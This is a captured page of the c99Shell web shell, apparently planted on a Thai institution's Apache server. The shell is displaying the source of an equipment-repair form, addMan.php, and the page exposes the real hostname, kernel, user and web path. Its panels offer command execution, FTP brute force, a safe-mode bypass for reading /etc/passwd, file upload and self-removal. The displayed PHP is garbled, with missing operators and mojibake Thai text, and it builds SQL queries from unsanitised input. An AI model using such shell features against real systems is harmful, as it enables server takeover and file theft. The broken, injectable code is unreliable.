!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addMan.php (8.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
 
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
ConnectDB();
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
 
$result mysql_query($sql) or die("Cannot Select").mysql_error();
 
$rs mysql_fetch_array($result);
 
$rs[code] = mysql_insert_id();
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
<style type="text/css">
<!--
.style24 {
    color: #0000FF;
    font-weight: bold;
    font-size: 14px;
}
.style25 {font-size: 14px}
.style26 {font-size: 14px; font-family: Tahoma; }
-->
</style>
<table width="788" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td width="788" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php?Teacher_code=<? echo $rs[Teacher_code?>">˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditManList.php?Teacher_code=<? echo $rs[Teacher_code?>">á¡é䢢éÍÁÙÅ¡ÒÃá¨é§«èÍÁºÓÃا</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditManList.php?Teacher_code=<? echo $rs[Teacher_code?>"></a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="ManList.php?Teacher_code=<? echo $rs[Teacher_code?>">¢éÍÁÙÅ¡ÒÃá¨é§«èÍÁºÓÃا</a> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />á¨é§¢éÍÁÙÅ¡ÒëèÍÁºÓÃا</font></legend>
            <label>
          <div align="center">
              <form id="form1" name="form1" method="post" action="InsertMan.php"  enctype="multipart/form-data">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="77%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" style="border:0px solid gray">
                  <tr bgcolor="#CCCCCC" >
                    <td height="25" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><div align="center" class="style26"> Çѹ·Õèá¨é§«èÍÁ </div></td>
                    <td bgcolor="#FFFFFF"><span class="style25"></span></td>
                    <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">Çѹ·Õè
                      <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
                            <? getDay1to31();?>
                    </select>
                      à´×͹
                      <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
                        <? getThaiMonth();?>
                      </select>
                      »Õ ¾.È.
                      <input name="mYear" type="text" class="d" id="mYear" size="3" maxlength="4">
                    </font> </td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td width="20%" height="26" bgcolor="#FFFFFF"><div align="center" class="style26">ÃÒ¡ÒÃ</div></td>
                    <td width="1%" bgcolor="#FFFFFF"><div align="center" class="style25"><font color="#FF0000" face="Tahoma">*</font></div></td>
                    <td width="79%" bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma">
                      <input name="Acc_code" type="text" id="Acc_code" size="40" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="28" bgcolor="#FFFFFF"><div align="center" class="style26">ÃËÑÊ - ÍØ»¡Ã³ì/ÃØè¹</div></td>
                    <td bgcolor="#FFFFFF"><div align="center" class="style25"><font color="#FF0000" face="Tahoma">*</font></div></td>
                    <td bgcolor="#FFFFFF"><select name="Acc_name" id="Acc_name" class="input1">
                        <?php
             $strSQL1 
"SELECT * FROM  accessories_tb Where  Faculty_code='07' or '11' ";
            
$result1 mysql_query($strSQL1);
                 while( 
$rss mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rss[Acc_name]\" ><b>$rss[Acc_code]     &nbsp;$rss[Acc_name]</b></option>\n";
                }
          
?>
                    </select></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="27" bgcolor="#FFFFFF"><div align="center" class="style26">ʶҹ·ÕèÍØ»¡Ã³ì</div></td>
                    <td bgcolor="#FFFFFF"><div align="center" class="style25"><font color="#FF0000" face="Tahoma">*</font></div></td>
                    <td bgcolor="#FFFFFF"><input name="Store" type="text" class="input" id="Store" size="50" />                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td height="87" bgcolor="#FFFFFF"><div align="center" class="style26">ÊÒà˵ØÍÒ¡ÒÃ</div></td>
                    <td bgcolor="#FFFFFF"><span class="style25"></span></td>
                    <td bgcolor="#FFFFFF"><textarea name="Contact" cols="50" rows="5" id="Contact"></textarea></td>
                  </tr>
                  
                  <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                    <td height="101" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style26"><font color="#003366">ÃÙ»ÀÒ¾</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><span class="style25"></span></td>
                    <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td width="63%" height="94"><div align="center">
                              <label>
                              <input name="Img1" type="file" id="Img1" onchange="browse()" />
                            </label></td>
                          <td width="37%"><div align="center"><img src=" " name="Imag1" width="109" height="94" id="Imag1" /></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#CCCCFF" >
                    <td height="29" colspan="3" bgcolor="#FFFFFF"><div align="center">
                        <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                        <input type="submit" name="Submit" value=" ºÑ¹·Ö¡ " class="button" />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="reset" name="Submit2" value="àÃÔèÁãËÁè" class="button" />
                    </div></td>
                  </tr>
                </table>
              </form>
          </div>
            </label>
        </fieldset><br>
      <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ</font></td>
    </tr>
</table>
<?php
    
}
else
{
    echo
"<body bgcolor=\"#CCCCCC\">";
   echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
   echo
"<center>";
     echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> ¤Ø³äÁèÁÊÔ·¸ìãªé§Ò¹</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--